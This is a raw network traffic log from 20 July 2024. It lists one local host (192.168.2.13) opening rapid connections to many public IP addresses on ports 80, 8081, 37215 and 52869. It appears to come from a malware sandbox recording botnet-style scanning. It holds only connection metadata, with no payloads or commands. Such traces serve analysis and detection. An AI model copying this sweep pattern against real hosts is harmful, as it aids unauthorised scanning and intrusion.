Jul 20, 2024 23:05:45.015084982 CEST	38288	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:45.015084982 CEST	35866	8081	192.168.2.13	123.142.31.182
Jul 20, 2024 23:05:45.015182972 CEST	54942	8081	192.168.2.13	145.69.183.12
Jul 20, 2024 23:05:45.015182972 CEST	38934	52869	192.168.2.13	89.229.96.227
Jul 20, 2024 23:05:45.015182972 CEST	45508	8081	192.168.2.13	145.24.55.142
Jul 20, 2024 23:05:45.015254974 CEST	80	58398	95.224.40.109	192.168.2.13
Jul 20, 2024 23:05:45.015544891 CEST	39096	37215	192.168.2.13	206.65.197.101
Jul 20, 2024 23:05:45.015942097 CEST	80	56804	95.81.214.18	192.168.2.13
Jul 20, 2024 23:05:45.015966892 CEST	38008	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:45.016103029 CEST	80	56804	95.81.214.18	192.168.2.13
Jul 20, 2024 23:05:45.016118050 CEST	80	57300	95.81.214.18	192.168.2.13
Jul 20, 2024 23:05:45.016122103 CEST	80	35028	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:45.016139984 CEST	80	35028	95.124.107.190	192.168.2.13
Jul 20, 2024 23:05:45.016200066 CEST	80	50154	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:45.016205072 CEST	80	50154	95.203.152.93	192.168.2.13
Jul 20, 2024 23:05:45.016220093 CEST	8081	54340	137.123.243.235	192.168.2.13
Jul 20, 2024 23:05:45.016230106 CEST	80	37556	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:45.016243935 CEST	8081	34742	164.112.8.185	192.168.2.13
Jul 20, 2024 23:05:45.017251015 CEST	41418	8081	192.168.2.13	223.216.201.168
Jul 20, 2024 23:05:45.017393112 CEST	58398	80	192.168.2.13	95.224.40.109
Jul 20, 2024 23:05:45.017667055 CEST	37215	50448	41.60.209.210	192.168.2.13
Jul 20, 2024 23:05:45.018186092 CEST	38248	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:45.018186092 CEST	49420	37215	192.168.2.13	41.166.4.73
Jul 20, 2024 23:05:45.018296957 CEST	42114	52869	192.168.2.13	100.11.251.147
Jul 20, 2024 23:05:45.019042015 CEST	32992	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:45.019042015 CEST	32992	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:45.019716024 CEST	42356	8081	192.168.2.13	121.50.192.3
Jul 20, 2024 23:05:45.020123959 CEST	50634	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:45.020186901 CEST	80	60812	95.247.168.194	192.168.2.13
Jul 20, 2024 23:05:45.020375013 CEST	50448	37215	192.168.2.13	41.60.209.210
Jul 20, 2024 23:05:45.020591974 CEST	37215	44808	197.218.198.120	192.168.2.13
Jul 20, 2024 23:05:45.020787001 CEST	8081	54942	145.69.183.12	192.168.2.13
Jul 20, 2024 23:05:45.020801067 CEST	37215	39096	206.65.197.101	192.168.2.13
Jul 20, 2024 23:05:45.020836115 CEST	39096	37215	192.168.2.13	206.65.197.101
Jul 20, 2024 23:05:45.020987988 CEST	52869	38934	89.229.96.227	192.168.2.13
Jul 20, 2024 23:05:45.021207094 CEST	80	38008	95.58.237.131	192.168.2.13
Jul 20, 2024 23:05:45.021249056 CEST	38008	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:45.021486044 CEST	80	38288	95.123.15.205	192.168.2.13
Jul 20, 2024 23:05:45.021517038 CEST	33520	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:45.021738052 CEST	52869	52694	69.105.43.224	192.168.2.13
Jul 20, 2024 23:05:45.022094965 CEST	34222	37215	192.168.2.13	197.128.236.2
Jul 20, 2024 23:05:45.022521973 CEST	8081	45508	145.24.55.142	192.168.2.13
Jul 20, 2024 23:05:45.023474932 CEST	52869	42114	100.11.251.147	192.168.2.13
Jul 20, 2024 23:05:45.023983002 CEST	80	38248	95.37.52.245	192.168.2.13
Jul 20, 2024 23:05:45.024250984 CEST	80	32992	95.216.126.250	192.168.2.13
Jul 20, 2024 23:05:45.025027037 CEST	8081	42356	121.50.192.3	192.168.2.13
Jul 20, 2024 23:05:45.025929928 CEST	37215	49420	41.166.4.73	192.168.2.13
Jul 20, 2024 23:05:45.026371002 CEST	80	50634	95.70.247.253	192.168.2.13
Jul 20, 2024 23:05:45.026582003 CEST	80	33520	95.216.126.250	192.168.2.13
Jul 20, 2024 23:05:45.027705908 CEST	37215	34222	197.128.236.2	192.168.2.13
Jul 20, 2024 23:05:45.027712107 CEST	37215	39096	206.65.197.101	192.168.2.13
Jul 20, 2024 23:05:45.027760029 CEST	34222	37215	192.168.2.13	197.128.236.2
Jul 20, 2024 23:05:45.028280973 CEST	80	38008	95.58.237.131	192.168.2.13
Jul 20, 2024 23:05:45.029671907 CEST	39096	37215	192.168.2.13	206.65.197.101
Jul 20, 2024 23:05:45.029671907 CEST	38008	80	192.168.2.13	95.58.237.131
Jul 20, 2024 23:05:45.032568932 CEST	48900	52869	192.168.2.13	204.151.222.243
Jul 20, 2024 23:05:45.032568932 CEST	33520	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:45.033195019 CEST	80	36212	95.123.38.121	192.168.2.13
Jul 20, 2024 23:05:45.037050962 CEST	58102	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:45.037050962 CEST	35614	37215	192.168.2.13	197.228.9.181
Jul 20, 2024 23:05:45.037050962 CEST	59768	52869	192.168.2.13	103.1.126.231
Jul 20, 2024 23:05:45.037050962 CEST	35932	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:45.037565947 CEST	57300	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:45.037565947 CEST	54340	8081	192.168.2.13	137.123.243.235
Jul 20, 2024 23:05:45.037565947 CEST	37556	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:45.037565947 CEST	34742	8081	192.168.2.13	164.112.8.185
Jul 20, 2024 23:05:45.037650108 CEST	52869	48900	204.151.222.243	192.168.2.13
Jul 20, 2024 23:05:45.040859938 CEST	60812	80	192.168.2.13	95.247.168.194
Jul 20, 2024 23:05:45.041979074 CEST	48900	52869	192.168.2.13	204.151.222.243
Jul 20, 2024 23:05:45.043032885 CEST	42114	52869	192.168.2.13	100.11.251.147
Jul 20, 2024 23:05:45.043032885 CEST	52694	52869	192.168.2.13	69.105.43.224
Jul 20, 2024 23:05:45.043304920 CEST	38288	80	192.168.2.13	95.123.15.205
Jul 20, 2024 23:05:45.043304920 CEST	42356	8081	192.168.2.13	121.50.192.3
Jul 20, 2024 23:05:45.045135975 CEST	38934	52869	192.168.2.13	89.229.96.227
Jul 20, 2024 23:05:45.045135975 CEST	54942	8081	192.168.2.13	145.69.183.12
Jul 20, 2024 23:05:45.045135975 CEST	45508	8081	192.168.2.13	145.24.55.142
Jul 20, 2024 23:05:45.049264908 CEST	38248	80	192.168.2.13	95.37.52.245
Jul 20, 2024 23:05:45.049264908 CEST	44808	37215	192.168.2.13	197.218.198.120
Jul 20, 2024 23:05:45.051748037 CEST	50634	80	192.168.2.13	95.70.247.253
Jul 20, 2024 23:05:45.051748037 CEST	49420	37215	192.168.2.13	41.166.4.73
Jul 20, 2024 23:05:45.060044050 CEST	48928	8081	192.168.2.13	122.67.101.96
Jul 20, 2024 23:05:45.061098099 CEST	50082	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:45.061098099 CEST	50082	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:45.062534094 CEST	80	33520	95.216.126.250	192.168.2.13
Jul 20, 2024 23:05:45.062964916 CEST	50612	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:45.063324928 CEST	48936	37215	192.168.2.13	12.193.234.170
Jul 20, 2024 23:05:45.064090967 CEST	80	58102	95.128.116.2	192.168.2.13
Jul 20, 2024 23:05:45.064373970 CEST	33520	80	192.168.2.13	95.216.126.250
Jul 20, 2024 23:05:45.064374924 CEST	58102	80	192.168.2.13	95.128.116.2
Jul 20, 2024 23:05:45.064779043 CEST	37215	35614	197.228.9.181	192.168.2.13
Jul 20, 2024 23:05:45.065254927 CEST	80	32992	95.216.126.250	192.168.2.13
Jul 20, 2024 23:05:45.065392971 CEST	53478	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:45.065505028 CEST	8081	48928	122.67.101.96	192.168.2.13
Jul 20, 2024 23:05:45.065530062 CEST	53478	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:45.065567017 CEST	48928	8081	192.168.2.13	122.67.101.96
Jul 20, 2024 23:05:45.065632105 CEST	52869	59768	103.1.126.231	192.168.2.13
Jul 20, 2024 23:05:45.065633059 CEST	56664	8081	192.168.2.13	200.167.157.127
Jul 20, 2024 23:05:45.066104889 CEST	80	35932	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:45.066322088 CEST	38810	52869	192.168.2.13	144.242.91.152
Jul 20, 2024 23:05:45.066534996 CEST	80	57300	95.81.214.18	192.168.2.13
Jul 20, 2024 23:05:45.066539049 CEST	8081	54340	137.123.243.235	192.168.2.13
Jul 20, 2024 23:05:45.066658020 CEST	80	37556	95.122.50.119	192.168.2.13
Jul 20, 2024 23:05:45.067100048 CEST	8081	34742	164.112.8.185	192.168.2.13
Jul 20, 2024 23:05:45.067490101 CEST	80	50082	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:45.067492962 CEST	80	50082	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:45.068056107 CEST	54012	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:45.068372011 CEST	57300	80	192.168.2.13	95.81.214.18
Jul 20, 2024 23:05:45.068372011 CEST	34742	8081	192.168.2.13	164.112.8.185
Jul 20, 2024 23:05:45.068372011 CEST	37556	80	192.168.2.13	95.122.50.119
Jul 20, 2024 23:05:45.068372011 CEST	54340	8081	192.168.2.13	137.123.243.235
Jul 20, 2024 23:05:45.068372011 CEST	35614	37215	192.168.2.13	197.228.9.181
Jul 20, 2024 23:05:45.068372011 CEST	35932	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:45.068372011 CEST	59768	52869	192.168.2.13	103.1.126.231
Jul 20, 2024 23:05:45.068572044 CEST	45560	37215	192.168.2.13	145.164.204.137
Jul 20, 2024 23:05:45.068612099 CEST	80	50612	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:45.068666935 CEST	50612	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:45.068927050 CEST	37215	48936	12.193.234.170	192.168.2.13
Jul 20, 2024 23:05:45.068941116 CEST	59186	52869	192.168.2.13	80.48.49.198
Jul 20, 2024 23:05:45.068954945 CEST	48936	37215	192.168.2.13	12.193.234.170
Jul 20, 2024 23:05:45.069116116 CEST	52869	48900	204.151.222.243	192.168.2.13
Jul 20, 2024 23:05:45.070365906 CEST	37530	8081	192.168.2.13	61.113.11.163
Jul 20, 2024 23:05:45.070497036 CEST	52869	42114	100.11.251.147	192.168.2.13
Jul 20, 2024 23:05:45.070717096 CEST	8081	42356	121.50.192.3	192.168.2.13
Jul 20, 2024 23:05:45.070771933 CEST	80	53478	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:45.070776939 CEST	80	53478	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:45.071203947 CEST	8081	56664	200.167.157.127	192.168.2.13
Jul 20, 2024 23:05:45.072223902 CEST	52869	38810	144.242.91.152	192.168.2.13
Jul 20, 2024 23:05:45.072262049 CEST	38810	52869	192.168.2.13	144.242.91.152
Jul 20, 2024 23:05:45.072290897 CEST	56664	8081	192.168.2.13	200.167.157.127
Jul 20, 2024 23:05:45.072365999 CEST	42356	8081	192.168.2.13	121.50.192.3
Jul 20, 2024 23:05:45.072369099 CEST	48900	52869	192.168.2.13	204.151.222.243
Jul 20, 2024 23:05:45.072375059 CEST	42114	52869	192.168.2.13	100.11.251.147
Jul 20, 2024 23:05:45.072583914 CEST	34408	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:45.072755098 CEST	33872	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:45.072755098 CEST	33872	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:45.073391914 CEST	80	54012	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:45.073456049 CEST	54012	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:45.074464083 CEST	37215	45560	145.164.204.137	192.168.2.13
Jul 20, 2024 23:05:45.074512005 CEST	45560	37215	192.168.2.13	145.164.204.137
Jul 20, 2024 23:05:45.075364113 CEST	52869	59186	80.48.49.198	192.168.2.13
Jul 20, 2024 23:05:45.075408936 CEST	59186	52869	192.168.2.13	80.48.49.198
Jul 20, 2024 23:05:45.075515032 CEST	43454	37215	192.168.2.13	32.90.4.32
Jul 20, 2024 23:05:45.075720072 CEST	55814	52869	192.168.2.13	106.225.80.214
Jul 20, 2024 23:05:45.076205969 CEST	8081	37530	61.113.11.163	192.168.2.13
Jul 20, 2024 23:05:45.076255083 CEST	37530	8081	192.168.2.13	61.113.11.163
Jul 20, 2024 23:05:45.076466084 CEST	45212	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:45.076466084 CEST	45212	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:45.076684952 CEST	53102	8081	192.168.2.13	70.168.15.16
Jul 20, 2024 23:05:45.078636885 CEST	80	33872	95.77.7.73	192.168.2.13
Jul 20, 2024 23:05:45.078641891 CEST	80	34408	95.77.7.73	192.168.2.13
Jul 20, 2024 23:05:45.078650951 CEST	80	33872	95.77.7.73	192.168.2.13
Jul 20, 2024 23:05:45.078867912 CEST	34408	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:45.079871893 CEST	45752	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:45.081105947 CEST	37215	43454	32.90.4.32	192.168.2.13
Jul 20, 2024 23:05:45.081274986 CEST	43454	37215	192.168.2.13	32.90.4.32
Jul 20, 2024 23:05:45.081585884 CEST	52869	55814	106.225.80.214	192.168.2.13
Jul 20, 2024 23:05:45.081629038 CEST	55814	52869	192.168.2.13	106.225.80.214
Jul 20, 2024 23:05:45.081815004 CEST	53984	52869	192.168.2.13	54.79.20.157
Jul 20, 2024 23:05:45.081976891 CEST	80	45212	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:45.081981897 CEST	80	45212	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:45.082792044 CEST	60812	37215	192.168.2.13	187.232.79.235
Jul 20, 2024 23:05:45.082931042 CEST	8081	48928	122.67.101.96	192.168.2.13
Jul 20, 2024 23:05:45.082946062 CEST	8081	53102	70.168.15.16	192.168.2.13
Jul 20, 2024 23:05:45.083674908 CEST	46456	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:45.083674908 CEST	46456	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:45.083725929 CEST	80	50612	95.159.6.36	192.168.2.13
Jul 20, 2024 23:05:45.083801985 CEST	50256	8081	192.168.2.13	60.165.79.132
Jul 20, 2024 23:05:45.084043980 CEST	37215	48936	12.193.234.170	192.168.2.13
Jul 20, 2024 23:05:45.084599018 CEST	53102	8081	192.168.2.13	70.168.15.16
Jul 20, 2024 23:05:45.084599018 CEST	48936	37215	192.168.2.13	12.193.234.170
Jul 20, 2024 23:05:45.084750891 CEST	52869	38810	144.242.91.152	192.168.2.13
Jul 20, 2024 23:05:45.085149050 CEST	47000	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:45.085819006 CEST	8081	56664	200.167.157.127	192.168.2.13
Jul 20, 2024 23:05:45.085939884 CEST	48928	8081	192.168.2.13	122.67.101.96
Jul 20, 2024 23:05:45.086838007 CEST	80	54012	95.65.111.176	192.168.2.13
Jul 20, 2024 23:05:45.086852074 CEST	37215	45560	145.164.204.137	192.168.2.13
Jul 20, 2024 23:05:45.086936951 CEST	52869	59186	80.48.49.198	192.168.2.13
Jul 20, 2024 23:05:45.087510109 CEST	39478	52869	192.168.2.13	84.205.84.200
Jul 20, 2024 23:05:45.087799072 CEST	80	45752	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:45.088193893 CEST	49144	8081	192.168.2.13	201.244.74.229
Jul 20, 2024 23:05:45.088198900 CEST	50612	80	192.168.2.13	95.159.6.36
Jul 20, 2024 23:05:45.088198900 CEST	45752	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:45.088211060 CEST	8081	37530	61.113.11.163	192.168.2.13
Jul 20, 2024 23:05:45.088363886 CEST	37530	8081	192.168.2.13	61.113.11.163
Jul 20, 2024 23:05:45.088367939 CEST	59186	52869	192.168.2.13	80.48.49.198
Jul 20, 2024 23:05:45.088439941 CEST	38810	52869	192.168.2.13	144.242.91.152
Jul 20, 2024 23:05:45.088867903 CEST	80	34408	95.77.7.73	192.168.2.13
Jul 20, 2024 23:05:45.089448929 CEST	41892	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:45.089448929 CEST	41892	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:45.089448929 CEST	56664	8081	192.168.2.13	200.167.157.127
Jul 20, 2024 23:05:45.089448929 CEST	46640	37215	192.168.2.13	41.190.71.241
Jul 20, 2024 23:05:45.091212988 CEST	52869	53984	54.79.20.157	192.168.2.13
Jul 20, 2024 23:05:45.091262102 CEST	53984	52869	192.168.2.13	54.79.20.157
Jul 20, 2024 23:05:45.091723919 CEST	37215	43454	32.90.4.32	192.168.2.13
Jul 20, 2024 23:05:45.091728926 CEST	52869	55814	106.225.80.214	192.168.2.13
Jul 20, 2024 23:05:45.092372894 CEST	43454	37215	192.168.2.13	32.90.4.32
Jul 20, 2024 23:05:45.092387915 CEST	34408	80	192.168.2.13	95.77.7.73
Jul 20, 2024 23:05:45.092389107 CEST	45560	37215	192.168.2.13	145.164.204.137
Jul 20, 2024 23:05:45.092533112 CEST	51450	52869	192.168.2.13	191.248.177.130
Jul 20, 2024 23:05:45.093180895 CEST	37215	60812	187.232.79.235	192.168.2.13
Jul 20, 2024 23:05:45.093228102 CEST	60812	37215	192.168.2.13	187.232.79.235
Jul 20, 2024 23:05:45.093638897 CEST	54012	80	192.168.2.13	95.65.111.176
Jul 20, 2024 23:05:45.093638897 CEST	55814	52869	192.168.2.13	106.225.80.214
Jul 20, 2024 23:05:45.093638897 CEST	32896	8081	192.168.2.13	39.160.212.95
Jul 20, 2024 23:05:45.093874931 CEST	80	46456	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:45.094084978 CEST	42440	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:45.094090939 CEST	80	46456	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:45.094096899 CEST	8081	50256	60.165.79.132	192.168.2.13
Jul 20, 2024 23:05:45.095149040 CEST	50256	8081	192.168.2.13	60.165.79.132
Jul 20, 2024 23:05:45.095149040 CEST	52910	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:45.095149040 CEST	52910	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:45.096520901 CEST	80	47000	95.142.27.251	192.168.2.13
Jul 20, 2024 23:05:45.096770048 CEST	47000	80	192.168.2.13	95.142.27.251
Jul 20, 2024 23:05:45.097472906 CEST	50018	37215	192.168.2.13	157.55.21.62
Jul 20, 2024 23:05:45.098367929 CEST	53462	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:45.099701881 CEST	8081	53102	70.168.15.16	192.168.2.13
Jul 20, 2024 23:05:45.099706888 CEST	52869	39478	84.205.84.200	192.168.2.13
Jul 20, 2024 23:05:45.099747896 CEST	39478	52869	192.168.2.13	84.205.84.200
Jul 20, 2024 23:05:45.099769115 CEST	8081	49144	201.244.74.229	192.168.2.13
Jul 20, 2024 23:05:45.099900961 CEST	49144	8081	192.168.2.13	201.244.74.229
Jul 20, 2024 23:05:45.100135088 CEST	59228	52869	192.168.2.13	136.24.70.56
Jul 20, 2024 23:05:45.100363970 CEST	53102	8081	192.168.2.13	70.168.15.16
Jul 20, 2024 23:05:45.100461960 CEST	80	41892	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:45.100466013 CEST	80	41892	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:45.100476027 CEST	37215	46640	41.190.71.241	192.168.2.13
Jul 20, 2024 23:05:45.100651979 CEST	32940	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:45.100651979 CEST	32940	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:45.101058006 CEST	37824	8081	192.168.2.13	97.216.245.248
Jul 20, 2024 23:05:45.101083994 CEST	46640	37215	192.168.2.13	41.190.71.241
Jul 20, 2024 23:05:45.101852894 CEST	52869	51450	191.248.177.130	192.168.2.13
Jul 20, 2024 23:05:45.101912975 CEST	51450	52869	192.168.2.13	191.248.177.130
Jul 20, 2024 23:05:45.102576971 CEST	34156	37215	192.168.2.13	157.147.59.60
Jul 20, 2024 23:05:45.102889061 CEST	52869	53984	54.79.20.157	192.168.2.13
Jul 20, 2024 23:05:45.103451014 CEST	33496	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:45.104377031 CEST	53984	52869	192.168.2.13	54.79.20.157
Jul 20, 2024 23:05:45.104799032 CEST	37215	60812	187.232.79.235	192.168.2.13
Jul 20, 2024 23:05:45.104835987 CEST	8081	32896	39.160.212.95	192.168.2.13
Jul 20, 2024 23:05:45.104877949 CEST	32896	8081	192.168.2.13	39.160.212.95
Jul 20, 2024 23:05:45.104909897 CEST	49348	52869	192.168.2.13	102.46.199.20
Jul 20, 2024 23:05:45.105370998 CEST	80	52910	95.151.87.68	192.168.2.13
Jul 20, 2024 23:05:45.105607033 CEST	49722	8081	192.168.2.13	139.138.191.133
Jul 20, 2024 23:05:45.106599092 CEST	80	42440	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:45.106626987 CEST	34822	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:45.107383013 CEST	80	45752	95.243.177.188	192.168.2.13
Jul 20, 2024 23:05:45.107398033 CEST	37215	50018	157.55.21.62	192.168.2.13
Jul 20, 2024 23:05:45.107403040 CEST	8081	50256	60.165.79.132	192.168.2.13
Jul 20, 2024 23:05:45.107450008 CEST	50018	37215	192.168.2.13	157.55.21.62
Jul 20, 2024 23:05:45.107845068 CEST	34822	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:45.107845068 CEST	42440	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:45.108326912 CEST	80	53462	95.151.87.68	192.168.2.13
Jul 20, 2024 23:05:45.108351946 CEST	50756	37215	192.168.2.13	115.124.30.25
Jul 20, 2024 23:05:45.108366966 CEST	60812	37215	192.168.2.13	187.232.79.235
Jul 20, 2024 23:05:45.108432055 CEST	50256	8081	192.168.2.13	60.165.79.132
Jul 20, 2024 23:05:45.108484983 CEST	45752	80	192.168.2.13	95.243.177.188
Jul 20, 2024 23:05:45.108745098 CEST	35380	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:45.108745098 CEST	53462	80	192.168.2.13	95.151.87.68
Jul 20, 2024 23:05:45.108781099 CEST	52869	59228	136.24.70.56	192.168.2.13
Jul 20, 2024 23:05:45.109232903 CEST	80	32940	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:45.109234095 CEST	59228	52869	192.168.2.13	136.24.70.56
Jul 20, 2024 23:05:45.109447002 CEST	80	32940	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:45.111156940 CEST	8081	37824	97.216.245.248	192.168.2.13
Jul 20, 2024 23:05:45.111557007 CEST	44984	52869	192.168.2.13	74.72.233.88
Jul 20, 2024 23:05:45.111557007 CEST	37824	8081	192.168.2.13	97.216.245.248
Jul 20, 2024 23:05:45.111850977 CEST	40132	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:45.111850977 CEST	40132	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:45.111850977 CEST	48748	8081	192.168.2.13	141.165.175.124
Jul 20, 2024 23:05:45.115200996 CEST	40692	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:45.115225077 CEST	37215	34156	157.147.59.60	192.168.2.13
Jul 20, 2024 23:05:45.115230083 CEST	52869	39478	84.205.84.200	192.168.2.13
Jul 20, 2024 23:05:45.115268946 CEST	34156	37215	192.168.2.13	157.147.59.60
Jul 20, 2024 23:05:45.115310907 CEST	8081	49144	201.244.74.229	192.168.2.13
Jul 20, 2024 23:05:45.115633011 CEST	80	33496	95.14.252.121	192.168.2.13
Jul 20, 2024 23:05:45.115674019 CEST	33496	80	192.168.2.13	95.14.252.121
Jul 20, 2024 23:05:45.115756989 CEST	34648	37215	192.168.2.13	157.187.94.235
Jul 20, 2024 23:05:45.116296053 CEST	52869	49348	102.46.199.20	192.168.2.13
Jul 20, 2024 23:05:45.116313934 CEST	8081	49722	139.138.191.133	192.168.2.13
Jul 20, 2024 23:05:45.116333008 CEST	49348	52869	192.168.2.13	102.46.199.20
Jul 20, 2024 23:05:45.116364002 CEST	39478	52869	192.168.2.13	84.205.84.200
Jul 20, 2024 23:05:45.116837025 CEST	37580	52869	192.168.2.13	149.223.236.152
Jul 20, 2024 23:05:45.116893053 CEST	49722	8081	192.168.2.13	139.138.191.133
Jul 20, 2024 23:05:45.117072105 CEST	80	34822	95.130.82.28	192.168.2.13
Jul 20, 2024 23:05:45.117075920 CEST	80	34822	95.130.82.28	192.168.2.13
Jul 20, 2024 23:05:45.117090940 CEST	37215	50756	115.124.30.25	192.168.2.13
Jul 20, 2024 23:05:45.117707014 CEST	50756	37215	192.168.2.13	115.124.30.25
Jul 20, 2024 23:05:45.117798090 CEST	80	35380	95.130.82.28	192.168.2.13
Jul 20, 2024 23:05:45.117814064 CEST	80	48478	95.26.106.67	192.168.2.13
Jul 20, 2024 23:05:45.117849112 CEST	35380	80	192.168.2.13	95.130.82.28
Jul 20, 2024 23:05:45.117980003 CEST	43380	8081	192.168.2.13	71.127.3.34
Jul 20, 2024 23:05:45.118902922 CEST	37215	46640	41.190.71.241	192.168.2.13
Jul 20, 2024 23:05:45.119220972 CEST	52869	44984	74.72.233.88	192.168.2.13
Jul 20, 2024 23:05:45.119225979 CEST	80	40132	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:45.119235992 CEST	80	40132	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:45.119240999 CEST	8081	48748	141.165.175.124	192.168.2.13
Jul 20, 2024 23:05:45.119261026 CEST	44984	52869	192.168.2.13	74.72.233.88
Jul 20, 2024 23:05:45.119282961 CEST	48748	8081	192.168.2.13	141.165.175.124
Jul 20, 2024 23:05:45.120368004 CEST	48478	80	192.168.2.13	95.26.106.67
Jul 20, 2024 23:05:45.120369911 CEST	49144	8081	192.168.2.13	201.244.74.229
Jul 20, 2024 23:05:45.120371103 CEST	46640	37215	192.168.2.13	41.190.71.241
Jul 20, 2024 23:05:45.121277094 CEST	80	40692	95.0.24.197	192.168.2.13
Jul 20, 2024 23:05:45.121325016 CEST	40692	80	192.168.2.13	95.0.24.197
Jul 20, 2024 23:05:45.121646881 CEST	37215	34648	157.187.94.235	192.168.2.13
Jul 20, 2024 23:05:45.121684074 CEST	34648	37215	192.168.2.13	157.187.94.235
Jul 20, 2024 23:05:45.122154951 CEST	52869	51450	191.248.177.130	192.168.2.13
Jul 20, 2024 23:05:45.122193098 CEST	53866	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:45.122193098 CEST	53866	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:45.122775078 CEST	52869	37580	149.223.236.152	192.168.2.13
Jul 20, 2024 23:05:45.122818947 CEST	37580	52869	192.168.2.13	149.223.236.152
Jul 20, 2024 23:05:45.123590946 CEST	54430	80	192.168.2.13	95.99.179.194
Jul 20, 2024 23:05:45.124600887 CEST	51450	52869	192.168.2.13	191.248.177.130
Jul 20, 2024 23:05:45.124624014 CEST	8081	43380	71.127.3.34	192.168.2.13
Jul 20, 2024 23:05:45.124804020 CEST	43380	8081	192.168.2.13	71.127.3.34
Jul 20, 2024 23:05:45.125123024 CEST	55824	37215	192.168.2.13	191.78.129.32
Jul 20, 2024 23:05:45.125466108 CEST	8081	32896	39.160.212.95	192.168.2.13
Jul 20, 2024 23:05:45.125715971 CEST	57698	52869	192.168.2.13	98.62.191.234
Jul 20, 2024 23:05:45.126471043 CEST	38598	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:45.126471043 CEST	38598	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:45.127012014 CEST	36260	8081	192.168.2.13	54.124.79.111
Jul 20, 2024 23:05:45.127175093 CEST	37215	50018	157.55.21.62	192.168.2.13
Jul 20, 2024 23:05:45.127180099 CEST	80	42440	95.163.39.25	192.168.2.13
Jul 20, 2024 23:05:45.128365040 CEST	50018	37215	192.168.2.13	157.55.21.62
Jul 20, 2024 23:05:45.128371954 CEST	32896	8081	192.168.2.13	39.160.212.95
Jul 20, 2024 23:05:45.128448963 CEST	42440	80	192.168.2.13	95.163.39.25
Jul 20, 2024 23:05:45.128875971 CEST	52869	59228	136.24.70.56	192.168.2.13
Jul 20, 2024 23:05:45.128889084 CEST	80	53866	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:45.128900051 CEST	80	53866	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:45.128922939 CEST	39166	80	192.168.2.13	95.96.37.96
Jul 20, 2024 23:05:45.129091024 CEST	80	53462	95.151.87.68	192.168.2.13
Jul 20, 2024 23:05:45.129663944 CEST	80	54430	95.99.179.194	192.168.2.13
Jul 20, 2024 23:05:45.129704952 CEST	54430	80	192.168.2.13	95.99.179.194
